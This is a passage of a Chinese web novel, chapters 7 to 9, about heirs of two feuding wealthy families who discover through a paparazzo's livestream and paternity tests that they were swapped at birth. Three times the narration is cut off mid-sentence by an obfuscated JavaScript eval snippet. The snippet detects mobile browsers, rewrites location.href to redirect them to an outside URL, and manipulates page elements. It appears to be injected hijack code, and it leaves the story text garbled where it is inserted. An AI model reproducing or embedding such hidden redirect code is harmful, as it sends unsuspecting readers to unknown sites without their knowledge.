但他并不恼,晏知归只是没人要,可自己赚的是活生生的流量啊! 网友们众说纷纭,有说他早晚打脸的,有说他肯定私下玩得开的,不一而足,讨论度确实很高。 庄家众人觉得他就是在想屁吃,苏元意感叹基友好勇,晏家那边可是炸了锅了。 “奶奶!听听这不孝子在说什么!”晏知恩抱着电脑跑去了柴芷青身边。 画面里,晏知归还在继续这个话题:“婚姻对我来说没什么意义,我习惯独来独往,不喜欢有人在身边,亲人的爱对我来说已经足够,对亲密关系毫无兴趣,所以还是不连累别人了。” “他这就是赤.裸.裸地宣战!”晏知遇添油加醋,“我就说他平时都是装乖!” 方舒亚怕老太太厥过去,尝试解释:“可能是不想说私事,故意找的借口。” “什么借口也不能用这个啊!”阮美兰相当幸灾乐祸,笑都绷不住了,“他这么公开一说,明天视频满天飞,哪家敢把女儿嫁给他守活寡?!他这就是蓄谋已久!” 晏宇安关心母亲,先劝:“妈,先别生气,等他回来我问清楚这件事。”又冲旁边一群人甩脸色,“都给我闭嘴!” 柴芷青的脸都气绿了:“这个老三从小就有反骨,我就知道他不能好好听话!晏家怎么出了这么一个玩意儿?!”她颤颤巍巍地指了指晏知遇和晏知恩,“明明和他俩一个爸妈生的,怎么就、怎么就这么不让人省心!” 直播间里,庄乘月故意追着晏知归问心路历程——既然您老人家豁出去了,那我不介意为您添砖加瓦。 就在这个时候,不远处盯着手机的曹怀周发现了弹幕中一些不和谐的声音,倏地瞪圆了眼。 主持人盯着弹幕,也愣住了。 此时此刻,屏幕上的评论突然间队形保持了一致,就算是飞快地刷过去,也能清楚地看到上边的内容。 【天哪,隔壁狗仔爆料,二十三年前,庄家和晏家抱错了娃!庄乘月和晏知归实际上是对方家的孩子!】 看到这一行字,饶是泰山崩于前而面不改色的晏知归也震惊得说不出话。 庄乘月更是瞪圆了眼睛,忍不住飚了一句粗话:“卧槽,谁他妈造谣?!” 屏幕内外,庄家晏家,加上苏元意和曹怀周,一共十六张脸,齐齐裂开了! 7. Chapter 7 重磅炸弹一般的消息如水波一般在网络上荡漾开去,此刻上网的人全都刷到了这件事,并且为之震撼。 当然,最初,大家都当这又是一次普通的造谣。 毕竟百姓对这些有钱人的秘辛比较感兴趣,众家豪门就是巨大的谣篮,谣言数不胜数,每个人都背着一箩筐。 这事儿不少见。 大场面见多了,庄乘月和晏知归迅速达成了一致,严肃活泼又不失礼貌地宣告这次直播到此结束,下次再约时间跟家人们聊,没有对谣言做任何回应。 稍后他们迅速关闭了直播间,离开了摄像头前,并且谨慎地摘下了麦克风。 两人面面相觑,沉默了几秒钟,不约而同地发出嗤笑声。 庄乘月撇着嘴嫌弃地说:“这怎么可能!” 晏知归不动声色:“你名下不是有家传媒公司吗?压住一个谣言应该没问题吧?” “废话,动动手指的事,但这种谣言太过分,我一定要追究那人的法律责任!”庄乘月信誓旦旦地说。 晏知归点点头:“不排除我们家也会提告。” 两人又相对无言了几秒钟。 空气像是凝结住了,莫名令人窒息。 “对了,你说你是什么不婚主义,是不是故意的?”有那么一点心神不定,庄乘月没话找话,“你家人听了不得炸锅?打算怎么处理?” 晏知归双手抄着西裤口袋:“原本打算跟他们说这只是托词,不过现在他们应该顾不上处理我的事了。” “放心吧,处理完谣言的散播人,他们还是会处理你的。”庄乘月善解人意地说。 晏知归耸了耸肩,做出一副无所谓的样子。 “乘哥!我找到那造谣视频了!”曹怀周匆匆忙忙地从外头进来。 他家做娱乐公司,八卦消息更灵通一点。 “这孙子是在另一个平台直播的时候说的,只戴了个头套。”曹怀周义愤填膺地把视频传给了庄乘月,“是个刚有点起色的小平台,建议你们直接找公司领导层,先把他直播间给封了。” 庄乘月点开视频,一个套着狗玩偶脑袋的人正在说话,晏知归立刻靠了过去。 两个死对头此刻脑袋挨脑袋,再也不嫌彼此周围的空气有毒,脸都快贴到一起去了。 “下边我要说一个惊天巨瓜,不预告也不给当事人预警,哎,咱就是这么汉子,今天各位进直播间的都来着了,麻烦动动发财的小手,点关注,不迷路!” “好,不卖关子,干货这就来!要说咱们江海市最牛的两大豪门是谁,大家肯定不陌生,那必须是卓志集团的庄家,和英嘉集团的晏家,谁都知道这两家是死对头,王不见王,可谁承想,他们两家渊源可深呐!” “原来,二十三年前,他们两家的老三,庄乘月和晏知归,都在同一家私立医院出生,但是因缘际会下,俩人被互换了!” “晏知归才是庄家的大金孙,庄乘月,他才是晏家的三少爷!” 曹怀周看不下去,按住了庄乘月的手:“别看了,肯定是造谣,收拾收拾告他吧。” 不知道为什么,亲眼看了狗仔播报,庄乘月突然有一点心悸,但他按捺住情绪,点头:“嗯。” “能不能发我一份?”晏知归拿出手机。 庄乘月干脆点头:“没问题。” 视频刚传过去,俩人又不约而同地接到了电话。 庄乘月这边是乔轻云打来的,声音里充满关怀:“小月,你在哪儿?快点回家好不好?” 晏知归的手机里则传来了晏知恩戏谑的声音:“老三,牛逼了你,赶紧回来吧,咱家要召开家庭大会!” 在坐车回家的路上,庄乘月想了很多。 一方面,他完全不相信这事会是真的,从小到大他听过的关于自己还有全家的谣言数不胜数,早就习惯了。 可另一方面,他又无法控制地去想,万一是真的,他该怎么办? 他跟晏知归在同一家私立医院出生的确不假,恰巧还是同一天,当初还被媒体调侃,说庄晏两家较劲竟到这个地步,居然连生孩子都得当场竞技。 二十三年前,私立医院要是管理不严,两个刚出生的时候还很丑的婴儿,被放在同一个新生儿室,被抱错或者被掉包的几率,并不是没有。 如果自己真是晏家的孩子…… 那还是死了算了。 心事重重地回到家里,乔轻云立刻扑过来抱住他:“宝宝回来了!妈妈抱抱!” 投入母亲温暖的怀抱,庄乘月有那么一点点想哭,声音委屈巴巴:“妈妈……” “宝宝不要听狗仔胡扯,我已经让你姐姐给向薇打电话了,叫她去跟那个直播平台交涉,我们要起诉他们!”乔轻云轻轻抚摸着他的头发,捧着他的脸揉了揉,“小月就是我亲生的宝宝,你生下来之后一直都在妈妈怀里,妈妈怎么可能抱错!” 旁边的庄新远听到这话,神情略有些不自然。 但他也很快肯定道:“对,就是狗仔造谣,这次是太过分了,决不能轻饶!” “小月这么乖巧,怎么可能跟晏家有一毛钱关系!”庄苡然笃定地说,“不是一家人不进一家门,我们家一直都这么亲密无间,不可能有外人!” 宋乾附和:“就是,外甥随舅,咱们家星奕跟小月一模一样。” 庄苡歆扬了扬拳头:“找到那个狗仔,老娘我要打爆他的狗头!” “我没事的家人们,就是有点小沮丧,可能直播的时候跟晏知归斗法太累了。我长这么帅都像妈妈,怎么可能不是妈妈的儿子!”听到大家的安慰,庄乘月心里暖呼呼的,伸手把所有人搂到一起,“我们就是相亲相爱的一家人!” 众人齐声道:“必须的!” “爷爷呢?他没受到惊吓吧?”庄乘月左右张望,没看见老爷子的身影。 乔轻云说:“直播弹幕刷得越来越不对劲,你爸想了个借口把他支开了,他应该还不知道这事儿。” “没必要让他知道,反正是假的。”庄乘月说。 “我看这不是谣言,八成是真的!” 晏知归走进家中宽敞的大厅时,就听见二哥在大放厥词,嗓门已经大到有失家教的程度。 “我就说老三从小跟咱们性子那么不一样,嘴上像个闷葫芦,肚子里一包坏水儿,就知道跟爸面前邀功表现,骗取老爸的信任,我像他这么大的时候还在集团里打下手,他倒好,才23就能去当英嘉科技的总经理,这公平吗?”晏知恩愤愤不平地说。 晏知遇的声音听着也很阴阳:“他是很会舔咱爸,但他确实成绩好,高中就开始跟项目,留学的时候也没歇着,现在念着研究生还国内国外两头跑,你但凡跟人学学,也不至于老爸到现在都看你不顺眼。” “哥,你怎么胳膊肘往外拐?!我可是你亲弟弟!”晏知恩怪叫起来。 方舒亚连忙道:“别瞎说,那就是狗仔造谣,这要是让知归听见了得多心寒。” “心寒什么啊,如果是真的,他认祖归宗回庄家,庄家少了个败家子,多了个这么能干的才俊,不得拿他当个宝?”阮美兰音调抑扬顿挫,甩得跟狗血电视剧里的心机后妈一模一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848981|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我看他做梦都得笑出来!” 晏知归就站在他们四米开外,话听得一字不落,表情看得清清楚楚。 还是方舒亚不经意地一转头发现了他,立刻紧张地站了起来:“知归。” 所有人向他投来目光,多少有那么一些尴尬,客厅里安静了几秒钟。 但他们彼此间针锋相对多了,并不在意被人抓现行,很快就换上了一副无所谓的表情。 晏知归只是冷笑了一下:“二哥,你的失败并不是被我的成功影响的,你就是单纯菜得没法让爸委以重任罢了。” 别的人他就懒得怼了,直接问方舒亚:“大嫂,奶奶和爸呢?” “在楼上休息,我去叫他们。” 接到通知,晏宇安搀扶着柴芷青坐着电梯下来,缓步走进客厅。 两人显然已经商量出了应对方案,坐下之后,老太太给长子示意,让他替自己宣布。 晏宇安严肃地看着家里这一帮嘴巴不消停的小辈:“谣言止于智者,我会安排律师追责,你们几个也少出去乱说话。” 其他人一改先前张牙舞爪的模样,变得低眉顺眼。 晏知归心中涌动着复杂的情绪,带着一些不自知的期待望着父亲。 “我和你们奶奶商量了一下,觉得空穴来风未必无因,狗仔敢造谣,不知道是不是有什么捕风捉影的所谓‘证据’,所以,我们决定——”晏宇安尽可能表情柔和地看向他,“知归,我们父子俩去做一次亲子鉴定。” 先前还充满期待的心猛地一沉,悲意如同涟漪般从晏知归胸中泛起,逐渐变成滔天巨浪。 “对啊!该做!”晏知恩看热闹不嫌事大,大声附和,“做了把证据甩他们一脸!” 晏宇安冷冷地瞥了他一眼:“闭嘴!我们家的事,需要向任何人解释?”接着又对晏知归说,“你不必介怀,只是确定一下,免得大家心里瞎猜。” 如果笃定认为这就是谣言,又怎么可能瞎猜? 想着去证明,就已经有所怀疑了吧? 但晏知归没说什么,只是轻轻点头:“好,都听奶奶和爸的安排。” 相对于他要面临的局面,沐浴在全家人的爱里、从不内耗的庄乘月早就已经翻篇儿了。 这两天他都在学校跟乐团排练,由于琴技高超而接受老师和同学的360度夸夸,每天都像只快乐小狗。 没有人会脑残地在他面前提那些谣言,同学中跟他玩得最好的、练中提琴的程昊则替他在校园论坛里slay全场,喊话那些八卦的人——【信谣言的都别走嗷,留下名字,过几十年我卖你们保健品!】 庄乘月刻意禁网,反正只要他不上网,那些烦人的事儿就不会找到他! 结束一天辛苦的排练,他背着大提琴刚一出剧场,发现下了雨,细细密密的雨丝交织着,带来一抹凉爽,但也肉眼可见地越下越大。 他不喜欢在学校里显得太高调,向来都是让司机在校门口等他,这会儿也不得不打电话让人把车开进来接。 但当庄乘月掏出手机,时间就是那么恰好,有电话打了进来,居然是晏知归。 他想都没想就接了起来,愉快而又促狭地说:“晏龟龟,你让我感到意外,是觉得日子过得无聊平淡,故意找虐吗?” 电话里晏知归音调低沉:“庄乘月,友情建议,你最好跟你爸妈去做一下亲子鉴定。” “为什么?”庄乘月怔了怔,心脏开始不受控制地收缩。 “因为我已经做了。”听筒里的人沉默了几秒钟,嘶哑地说,“我不是我爸的儿子。” 8. Chapter 8 晏知归待在自己的房间,盯着小时候和母亲洛远玉的照片发愣。 洛远玉生下他这个第三子之后身体就一直不太好,在生命的最后十年里,尽可能地给了幼子最贴心的母爱,便因心脏病撒手人寰。 十岁的晏知归当时并不知道,自己被人宠爱的日子结束了。 遗体告别仪式上,小知归嚎啕大哭,扒着棺材边缘拉住母亲的手死都不撒开,是被父亲甩了一巴掌之后,被打得晕头转向,才下意识地松了手,一屁股坐在了地上。 晏宇安愤怒地指着他的脸说:“从现在开始,别再让我看见你哭!你要做个男子汉!听见了吗?!” 他们家的家风是这样的,爷爷晏少禹就极其自律,堪称同辈卷王,奶奶柴芷青不苟言笑、雷厉风行,培养出来的晏宇安、晏宇平和晏宇丰三兄弟个个谨言慎行,一个赛一个地卷。 最终,晏宇安卷出新高度,成功接过了英嘉集团,而他恰好膝下也有三个儿子,自然而然这种严肃规矩的家风向下传递,并且很喜欢让儿子们互相较劲,希望他们在良性竞争中茁壮成长。 晏知归自从被要求做男子汉之后,就开始拼命努力学习,极致内卷,他不求别的,只求得父亲一个认可的眼神。 认可的眼神是有,但随之而来的还有兄长们的忌惮。 毕竟,尽管晏家没有皇位要继承,但的确有个诱人的大集团。 这种情况下实在很难兄友弟恭。 当阮美兰进门、生下了他们的四弟晏知潼之后,情况进一步发生变化。 一家四个男丁,将来一定会为继承权打个头破血流,她做继母的,自然要提防继子,为自己的儿子谋划。 枪打出头鸟,没那么出色的晏知遇、晏知恩便心照不宣地跟继母站成了一队,准备把太出挑的晏知归先按下去。 然而事实上,晏知归并没有争家产的意思,他只是想让九泉之下的母亲安息,让父亲和奶奶高兴,让晏家能够发扬光大。 谁知现在这个他为之奋斗的家,居然和自己没有半点血缘关系。 有点可笑。 纵然家中奶奶和父亲过于严厉,两个兄长整天阴阳怪气,继母和小弟把他当假想敌,可这到底是他的家啊。 雨滴敲打在窗户上,发出“噼里啪啦”的声响,实在让人心烦意乱。 楼下客厅里,剩余的晏家人聚在一起,面面相觑。 好事者如晏知恩,起先也不过是趁热闹踩晏知归两脚,现在谣言居然是真的,他就不敢胡说八道了,生怕触动奶奶和父亲此刻脆弱的神经。 “现在怎么办?”最后是阮美兰先开了口,“不是我别有用心,可这血脉总该捋清楚吧?总不能随随便便让外人占了便宜——老三名下有不少集团股份呢!” 晏宇安瞪了她一眼,吓得她声音渐轻,但明显脸上很不服气。 “兰姨说得对,不是要清算什么,既然知归不是我们家孩子,至少先帮他确认他是不是庄家的,庄家那败家子……”晏知遇说到这里顿了顿,改了口,“那庄乘月,是不是咱家的。” 方舒亚觑着长辈们阴沉的面色:“庄家那边应该也在查爆料的狗仔,要是知道狗仔说了什么,他们肯定会去做亲子鉴定的,咱们耐心等等吧,庄伯父应该会联系爸。” “狗仔到底说了什么?他手里有什么证据?!”柴芷青愤怒地一拍沙发扶手,“他怎么会知道?!” “我去联系了那个直播平台的高层,对方表示狗仔的直播没有触犯国家法律法规,也没有违反平台规定,他们无权封锁他的账号,出于用户协议,他们也应该对他的真实信息提供保障。如果我们想得到他的个人信息,需要向法院起诉平台,由法院来让他们提供狗仔的相关信息。” 庄乘月回家的时候,听到客厅里传来了向薇的通话外放。 “但是平台的工作人员私下里跟我说,那狗仔手里的确是有料,听说他拿到了之前在私立医院工作的护士遗言录音,录音里明确地说了这事儿是她做的,如果我们起诉他造谣,法院介入调查,这件事更会大白于天下,到时候我们就被动了。” 手机捧在庄苡歆手里,屏幕中向薇很诚恳地说:“我觉得我们应该先接触接触狗仔本人,估计他就是想要钱,我们给他钱就是了,事情闹得太大对集团没好处。” 宋乾啧了一声:“难怪他这么有恃无恐!以前狗仔不是有了料先来找我们要钱吗?这位反其道而行之,先搞出点影响来,好倒逼我们找他是吧?” “闭上你的嘴!”庄苡然吼了他一句,“重点是这个吗?” 宋乾被妻子骂得一头雾水,悻悻地问:“那是什么?想压下去谣言不就是先拿钱砸吗?” “重点是我。”庄乘月突然出声,“是我到底是不是家里的孩子。” 他这一说话,沙发上的众人齐齐回过头来。 “宝宝!” “月宝!” “小月!” 庄老爷子也在场,他就是再不上网,这两天也对谣言有所耳闻,此时此刻表情非常复杂。 一旁的庄新远试图缓和气氛,笑道:“怎么没用平衡车?脚步这么轻,小猫似的。” 乔轻云向庄乘月伸手:“宝宝,到妈妈这来。不管那狗仔说什么,有什么狗屁录音,妈妈都不信。现在录音都能AI合成了,肯定是假的!” “谢谢妈妈。” 这样的话让庄乘月觉得温暖,也给了他面对真相的勇气。 毕竟在晏知归说出那样的话之后,他心里也有了一定的猜测。 他拉住乔轻云的手,脸上挂着微笑:“爸爸妈妈,我们去做亲子鉴定吧。” “什么话?!我不做!”乔轻云当即否定,把他的手贴在脸上,“你就是我儿子!” 庄乘月温柔地摸了摸她的头发:“我们这边先弄清楚,才好走下一步。” “乘月这话也在理。”宋乾一下子开了精神,“我们要告那平台,拿到法院许可要他们提供狗仔的真实姓名也得需要时间,万一狗仔再爆料呢?股票跌几个点,今年大家都白干。” 庄苡然在他肩膀上狠狠甩一巴掌:“你再提钱试试?!” “姐夫说得对,我们的股价当然重要,毕竟还有那么多散户呢,要是因为我们一点小风波害他们赔钱,多对不起人家。况且,咱们庄家怎么能让别人牵着鼻子走,必须把主动权攥在自己手里。” 庄乘月露出灿烂的笑脸,猫儿眼弯成两弯月牙:“再说了,就算我不是庄家的孩子,爸爸妈妈还有爷爷把我养这么大,会说不爱我就不爱我吗?反正我会一直爱大家的。” “不管怎么样你都是我儿子!”乔轻云搂着他,又急又气地说,“没有什么‘就算’。” 庄苡歆突然说:“这样吧,这亲子鉴定加上我一份,没准儿我是抱错的呢!” “还有我,我也鉴定!”庄苡然立即附和。 宋乾笑得眼睛眯成一条线:“还有我还有我!我是亲女婿!” 庄苡然乐了,在他头上轻轻拍了一下:“瞎凑什么热闹!” “乘月,你真想好了?”庄新远认真地问。 庄乘月点点头:“想好了,爸爸。” “我们的宝贝长大了,思考问题的方式很成熟,遇到问题能勇敢面对,爸爸很欣慰。”庄新远微笑道。 “既然这样,我们明天就一起去医院,不管是什么结果,都不会影响我们一家人的感情。”庄老爷子拍板道,随即也笑了起来,“给我也做一个,没准儿新远是抱错的,从根儿上就错了。” 庄新远无奈道:“爸,要不把新宁从国外叫回来也验验?” “算了,等你妹回来还得折腾两天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848982|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太麻烦。”庄老爷子严肃回答。 全家人一起哈哈大笑起来。 看着面前这些轻松的笑脸,基本算是预知了答案的庄乘月悄悄垂下睫毛,掩住眼底一抹淡淡的忧伤。 最好一切都不要变啊。 第二天,庄家全员出动,去了合作的私立医院,人均采了一份血样。 得知这个情况的晏家人按兵不动,坐等结果。 期间一切如常,只是明显所有人都话少了很多。 晏知归更是保持沉默。 两天后的晚餐时段,晏家饭厅里,阮美兰突然道:“庄家怎么回事啊?两天都没出结果?他们合作的私立医院是不是不行?要不让他们来咱们的医院里检测吧。” “你急什么?”晏宇安撩起眼皮,不咸不淡地看了她一眼。 阮美兰擦了擦嘴:“我这不是想着快点妥善解决这件事嘛!谣言满天飞,不知道那狗仔什么时候放出证据,到时候咱们都不好应对。”她瞥了眼斜对面的晏知归,“这对老三也不好呀。” 晏知归面无表情地说:“多谢兰姨关心。” “咱这边已经确定了,庄家那边估计也错不了,这事儿真相是什么,大家心里都清楚。”晏知遇一脸真诚地问道,“奶奶,爸,你们有什么打算?真的换回去吗?” 晏知恩看智障似地看他:“这不废话吗?不换回去难道扣着别人的孩子不给?” “别人的孩子”,五个字好像五根尖利的钢针。 晏知遇意味深长地说:“换个败家子回来,你就高兴了是吧?用用你的脑子!” “我觉得这事儿还是得从长计议。”方舒亚谨慎地说,“毕竟我们两家影响力不小,如果这个掰扯不清,导致股价大幅波动,后果很难预料。” 阮美兰观察了一下晏宇安和柴芷青的表情,无奈这母子俩是如出一辙的棺材板脸,心里想的什么完全滴水不漏。 于是她试探着说:“就是因为咱们两家影响力在那儿摆着,才得快刀斩乱麻不是?股价震荡调整一段也就正常了,拖得久了才不好,还给有心人可乘之机。” 有心人?晏知归心里冷笑。 这桌上个个都是有心人。 大哥估计心疼钱,二哥和继母都想着把他撵走,他们调整战局,重新制定策略。 毕竟庄乘月从来就不是管理公司的材料,就算回来也不会构成威胁,没了自己这个绊脚石,他们就能后来居上。 还真是,迫不及待呢。 晏宇安一声未吭,慢条斯理地喝完了汤后,抽了张纸巾擦嘴,最后才说:“少说一句能憋死你们是吗?” 刚刚你一言我一语的几个人莫不噤如寒蝉。 就在这时,他手边的手机“嗡”地震动了起来,来电显示明晃晃是“庄新远”三个字。 “妈,庄家打电话来了,视频电话。”晏宇安先跟母亲汇报。 柴芷青点点头:“接。” 晏宇安接通,屏幕上出现了庄新远严肃的表情:“老晏,我父亲有几句话,想跟你母亲谈谈。” 犹记得多年前,俩人小时候还曾是最亲密的异姓兄弟,现在也很久没有正面打交道了。 征求柴芷青同意之后,晏宇安把手机递了过去。 画面里的人已经换成了庄景川,他饱经沧桑的声音说:“嫂子,我们两家,坐下来谈谈吧。” 与此同时,晏知归的手机里收到了庄乘月的信息。 【兰花螳螂】:V我50,给你讲个一刀捅进膈肢窝的故事。 突然想到那双狡黠的猫儿眼,晏知归的心情莫名地有了几分上扬。 跌落低谷时有人作陪,哪怕是死对头,也感觉不错。 他听到饭桌最头上坐着的奶奶说“好,一会儿见”,便打字给庄乘月回复。 【晏乌龟】:善。 9. Chapter 9 柴芷青是个硬气的老太太,觉得既然是庄景川先开了口,那么自己也得高姿态,于是婉拒了对方上门拜访的请求,表示自己可以带领家人过去会面。 稍后,晏家全体成年人集体出动,仍跟那天看歌剧的规模一样,七个人分坐了三辆车,不同的是这次柴芷青的车在最前边,晏知归一个人开车在最后头。 两家直线距离不远,晚间又不堵车,没过二十分钟,车队已经抵达了庄家大宅院门外。 早已收到通知的门卫敞开大门,让车队长驱而入,家中保安开着电动巡逻车在前边带路,将他们带入内院主宅前。 庄老爷子带着全家人站在门口,所有人皆面色凝重。 相看两厌的两家人,不久之前还在歌剧院激烈交流过,谁知再见面竟会是这样的主题。 连附近的空气都显得压抑了许多。 庄乘月抄着外套口袋站在乔轻云身后,一向鸡血满满的他少见地神情落寞。 此前,就算知道晏知归那边已经确定了,他自己仍旧抱着一点侥幸,然而老天不长眼,还是一脚踹到了他月圣头上。 下午拿到鉴定结果时,简直是他二十三年顺风顺水人生的至暗时刻。 且不说他自己心里作何感想,全家人的反应就足够他伤感。 两个雄鹰一般的女人、他的高冷霸总姐姐们瞬间红了眼圈; 见过大风大浪的爷爷和爸爸表面镇定,但震惊得手都在颤抖; 姐夫宋乾眼睛瞪得快脱窗,嘴巴张得一副下巴脱臼的样子,看看这个又看看那个,根本不敢乱说话; 乔轻云更是抱着庄乘月不撒手,哭得泪水涟涟:“我不管,小月就是我的儿子,是我亲生的!我一把屎一把尿亲自带大的,一定是鉴定结果有问题!” 妈妈情绪这么激动,庄乘月一时也没绷住,抱着她嚎啕大哭了许久,直到现在眼睛还在红肿。 但事实就是事实,逃避并非解决之道,得知晏家早就做过亲子鉴定,庄景川决定亲自跟柴芷青对话,邀请对方过来面谈。 看到柴芷青一行人下了车,庄景川迎了上去,主动伸手:“嫂子,好久不见。” 当年他和晏少禹简直算是拜把子兄弟,两人的妻子也亲如姐妹,他们宛如一家人,彼此间亲密无间。 柴芷青学的是财务,庄景川的亡妻郭芸凌学的是国际贸易,曾经的卓英钢铁厂能飞速发展,两位女将也做出了十足的贡献。 只可惜性子活泼的郭芸凌走得早,如果她还在的话,庄晏两家未必会闹到现在这样的地步。 再见面,已是物是人非。 庄景川已经满头银发,柴芷青虽将头发染成黑色,但岁月的沧桑早就嵌进了她的每一条皱纹。 她没有和庄景川握手,只是神情冷淡地微微一点头:“庄先生。” 这显然是就事论事来的,没打算牵扯过往。 态度十分明确。 庄乘月看到这面色冷淡又不给面子的老太太,心里非常不爽。 要放在平时,哪怕敬老,他也得阴阳两句为自己爷爷出口气,可现在,就算有气也只能憋着。 庄景川并不以为意,五指并拢,侧身向门口一指:“请进。” 柴芷青昂首挺胸地带着家人进了入户门厅,晏宇安等人陆续跟上。 一行人经过晏家人身边,没有一个给庄乘月眼神。 等着挨个儿问好的庄乘月:“……” 我怎么可能是他们家的孩子?! 他们家怎么配拥有我这么英俊潇洒帅气可爱的月圣?! 请苍天!辨忠奸! 庄新远陪着老父亲走在前边,庄家其他人看到落在最后的晏知归,一时间心情都很复杂。 既然对上了目光,礼数还是要有的,晏知归便温和地跟他们打招呼:“乔阿姨,苡然姐、苡歆姐,宋……宋乾。” 对这个二百五他叫不出“哥”。 宋乾:“……” 庄乘月刚生完气,看到这一幕,又忍不住乐了一下。 “好,好,进去吧。”从尝试热情到尝试失败,乔轻云表情瞬息万变,干脆低下头不让对方看到自己的脸。 哪怕知道这位是自己生物学上的母亲,晏知归也很难瞬间产生什么亲情,并没有太在意,一点头转身跟了进去。 没走两步就听见后边庄苡歆小声嘀咕:“一看见他就想起他毁我生意那事儿,不骂他就不错了,还要笑,我太难了。” “那你骂啊!”庄乘月哄她,打趣地说,“反正你是她亲二姐,他不敢还嘴。” 庄苡歆红着眼瞪他:“你还是不是我的亲亲小月了?!” “我是,我永远是!”庄乘月搂着她,“么么,二姐贴贴!” 晏知归心里叹息——庄家这动不动亲亲贴贴还么么的,自己是真学不来。 庄景川和庄新远把晏家人带去了一楼的议事厅,这里空间宽敞、灯光明亮,单座沙发分布得庄重而不失典雅,落地窗视野开阔,能够看到外边的一大片花园。 只是现在无人有心情欣赏。 沙发边的各个矮桌上摆放了充足的酒水、点心和水果,还有随手可用的便签及钢笔,几乎是商务洽谈的规格。 其他人都进去之后,庄乘月也想跟着乔轻云往里走,谁知妈妈一个灵活的转身,把他和晏知归一同拦住。 “妈妈?”他疑惑地眨眨眼。 乔轻云温柔地哄劝:“宝宝,大人们讨论这件事,你们俩在这儿听着不太方便,去休息吧,带着小晏四处参观参观也好,等回头我们有结果了再跟你们俩商量。” 她的眼神略显闪烁,几次从晏知归脸上划过,更多的还是聚焦在庄乘月脸上。 “别担心啊,妈妈一定会为你考虑的。”她轻轻拍了拍宝贝儿子的脸颊。 “咔嚓”一声,议事厅的门被关上,把庄乘月和晏知归隔绝在了外边。 庄乘月:“……” 我的母语叫无语! “凭什么?!这可是我的终身大事!”他小声嘀咕,“我有权发表意见!”不爽地看向旁边的人,“你怎么也不说句话?!” 晏知归双手负在身后,表情十分平静:“她已经说了,有结果会跟我俩商量,我有什么可说的?我已经在公司开了一天的会,实在没兴趣回家还开会。” “那你别穿开会的皮来啊,怎么,就一套西装,舍不得脱是吗?”庄乘月瞪圆了眼,“弄得跟我们家被非法社团袭击了似的。” 晏知归从善如流地解开扣子脱掉外套搭在手肘上,又拽松了领带,要笑不笑地看着他:“满意了?” “优雅,实在是优雅。”庄乘月没好气地对着他的脸拍了几下手。 他往前走了一步,耳朵贴在对开门的门缝上,专心致志地听着。 听着。 什么都听不见。 “好烦。”庄乘月转过身,背靠在门上。 晏知归友情提示:“小心里边有人开门,你当众摔过去——还记得八年级联欢会吗?” 那次就是这样,大门忽然被打开,庄乘月当着全年级的同学直挺挺地向后摔倒在地,木地板发出“咚”地一声震天响,所有人都愣了。 谁知他一个鲤鱼打挺,居然从地上跳了起来,得意洋洋地抱拳:“武生绝活‘摔僵尸’,给诸位助助兴,多谢捧场!” 然后在大家的注目礼下华丽退场。 关门的那片刻,晏知归分明地看见他疼得龇牙咧嘴地摸了摸后脑勺。 “猴年马月的事还记着,不是小心眼就是暗恋我,你选哪种?”庄乘月没好气地说,但还是谨慎地离开了门口。 晏知归勾勾唇角:“我选钝角。” “烂梗!”庄乘月抱起双臂,极为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848983|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不爽地说,“你在这儿待着干什么?自己找地方猫着去。我家那么大地方,不要出现在我面前。” “乔阿姨说让你带着我参观一下家里,我很有兴趣,毕竟将来这是我的家。” “你做梦!” 面对晏知恩提出的两家即刻交换亲生子的要求,庄苡然表现得十分愤怒:“我们家辛苦养大的好孩子,凭什么就这么白白还给你们?!” “我也不同意!”庄苡歆说,“事实归事实,但人是讲感情的,你们真能毫不留恋地把晏知归还回来?” 晏知遇翘着二郎腿,阴阳怪气:“‘好’孩子?庄乘月在外边什么名声谁不清楚?把我们家亲三弟给养废了,我们还没追究你们的责任呢!” “就是,我们家花了多少人力物力,把知归培养成现在这样出色的青年才俊,现在归你们了,我们还不甘心呢。”不知道阮美兰是不是看了什么低质量短剧,好像在演豪门恶毒后妈,学得五官乱飞,说话非常做作。 一向温柔的乔轻云顿时挂了脸:“你们这么嫌弃小月,我绝对不会让他去你们家遭罪!知归也是惨,从小被你们养大,半点亲情都感受不到,现在回家来也好,我们好好补偿他。” “听你这意思,是两个孩子都想要?是不是太贪心了?”晏宇安不悦地开了口。 庄新远哪能忍受老婆被怼,冷着脸看他:“只要为两个孩子好,就算说我们贪心也无所谓。” “如果你们是这个态度,那我们还有什么可谈的?”柴芷青冷冷地看着庄景川,“这么多年过去了,你做事还是这么毫无诚意!” 